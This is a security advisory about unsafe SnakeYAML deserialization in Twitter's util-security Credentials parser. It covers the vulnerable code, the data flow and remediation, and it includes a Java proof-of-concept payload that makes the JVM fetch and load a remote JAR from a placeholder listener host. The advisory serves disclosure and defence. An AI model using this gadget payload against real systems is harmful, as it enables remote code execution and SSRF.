Skip to content

Latest commit

 

History

History
139 lines (104 loc) · 5.78 KB

File metadata and controls

139 lines (104 loc) · 5.78 KB

Description

Summary

com.twitter.util.security.Credentials parses YAML/JSON credential content using SnakeYAML's default, unsafe constructor (new Yaml()). In SnakeYAML versions below 2.0 — util-security bundles 1.28 — the default Yaml instance uses org.yaml.snakeyaml.constructor.Constructor, which allows instantiation of arbitrary Java types declared in the input via the !! global tag. This is the class of issue tracked upstream as CVE-2022-1471.

If an attacker can influence the content parsed by any Credentials entry point, a crafted payload can trigger a JDK-only gadget chain (ScriptEngineManagerURLClassLoader → remote JAR), leading to SSRF and remote code execution, without any additional gadget library on the classpath.

The unsafe call site is still present on the latest develop branch and has never been migrated to SafeConstructor.

Affected component

  • Artifact: com.twitter:util-security (module of twitter/util)
  • First affected: 21.11.0 — the release that replaced the previous custom YAML parser with SnakeYAML and exposed "any valid YAML/JSON with string keys/values can be loaded."
  • Bundled dependency: org.yaml:snakeyaml 1.28 (set in 22.7.0; unchanged on develop, 24.8.0-SNAPSHOT).
  • Status: unfixed — the call site still uses new Yaml().

Vulnerable code (SINK)

util-security/src/main/scala/com/twitter/util/security/Credentials.scala:

def apply(data: String): Map[String, String] = {
  val parser = new Yaml()                                       // unsafe: default Constructor
  val result: java.util.Map[String, Any] = parser.load(data)    // SINK: deserializes untrusted YAML
  if (result == null) Map.empty
  else {
    val builder = HashMap.newBuilder[String, String]
    result.forEach { (k, v) => builder += k -> String.valueOf(v) }
    builder.result()
  }
}

Decompiled shipped bytecode (Credentials$.apply) confirms the same new Yaml(); parser.load(data) pattern.

Entry points (SOURCE)

All public entry points flow into the same sink:

// object Credentials
def apply(data: String): Map[String, String]   // parses data directly as YAML
def apply(file: File): Map[String, String]      // reads file, delegates to apply(String)
def byName(name: String): Map[String, String]   // resolves $KEY_FOLDER (or /etc/keys), delegates to apply(File)
// class Credentials (Java-friendly wrappers)
def read(data: String) / read(file: File) / byName(name: String)

Data flow / call chain

Influenced YAML/JSON content
  → Credentials.apply/read(String)  [or apply(File)/byName → reads file]   (SOURCE)
  → Credentials$.apply(String)                                             (util-security)
  → new org.yaml.snakeyaml.Yaml()                                          (default unsafe Constructor)
  → org.yaml.snakeyaml.Yaml.load(String)                                   (SINK)
  → Constructor.construct...   (arbitrary type instantiation via !! tag)
  → ScriptEngineManager → URLClassLoader → remote JAR loaded               (SSRF → RCE)

Proof of concept (mechanism demonstration)

The following demonstrates that the default parser instantiates arbitrary types. It does not imply a remote attack path in the default callers above; it proves the sink is unsafe when the parsed content is attacker-influenced.

import com.twitter.util.security.Credentials$;
import scala.collection.immutable.Map;

public class Poc {
    public static void main(String[] args) {
        // OOB callback gadget (JDK-only). Point the URL at a listener you control.
        String payload =
            "!!javax.script.ScriptEngineManager " +
            "[!!java.net.URLClassLoader [[!!java.net.URL [\"http://YOUR-LISTENER-HOST/\"]]]]";
        Map result = Credentials$.MODULE$.apply(payload);   // SINK reached
        System.out.println(result);
    }
}

Non-destructive confirmation: run with java.net.URL pointing at an HTTP listener you own (interactsh / Burp Collaborator / python3 -m http.server on your host). An inbound HTTP request to that listener confirms the gadget chain executed — i.e. arbitrary-type deserialization fired — even if a ConstructorException is thrown afterward. For full RCE confirmation in an authorized test environment, host a JAR implementing a ScriptEngineFactory SPI at the listener.

Dependencies: com.twitter:util-security (≥ 21.11.0) transitively pulls org.yaml:snakeyaml:1.28; no third-party gadget library is required.

Impact

When the parsed content is attacker-influenced, the impact is remote code execution and SSRF in the context of the JVM process. In default open-source deployments where Credentials reads trusted local files, the practical attack surface is reduced (see "Reachability").

Remediation

Apply either (both recommended):

  1. Use SafeConstructor at the call site (sufficient on its own, even on SnakeYAML 1.28):

    import org.yaml.snakeyaml.constructor.SafeConstructor
    import org.yaml.snakeyaml.LoaderOptions
    val parser = new Yaml(new SafeConstructor(new LoaderOptions()))

    SafeConstructor only constructs standard YAML/JSON types (maps, lists, scalars), which is all Credentials needs (string keys/values), so behavior is unchanged for legitimate input.

  2. Upgrade org.yaml:snakeyaml to 2.0+, whose default constructor already extends SafeConstructor.

References

  • CVE-2022-1471 / GHSA-mjmj-j48q-9wg2 — SnakeYaml Constructor Deserialization RCE
  • SnakeYAML 2.0 release notes (default SafeConstructor)
  • twitter/utilutil-security/.../Credentials.scala (develop) and build.sbt (snakeyaml % "1.28")
  • Callers reviewed: twitter/finatra CredentialsModule; twitter/the-algorithm tweetypie/.../servo/database/Credentials.scala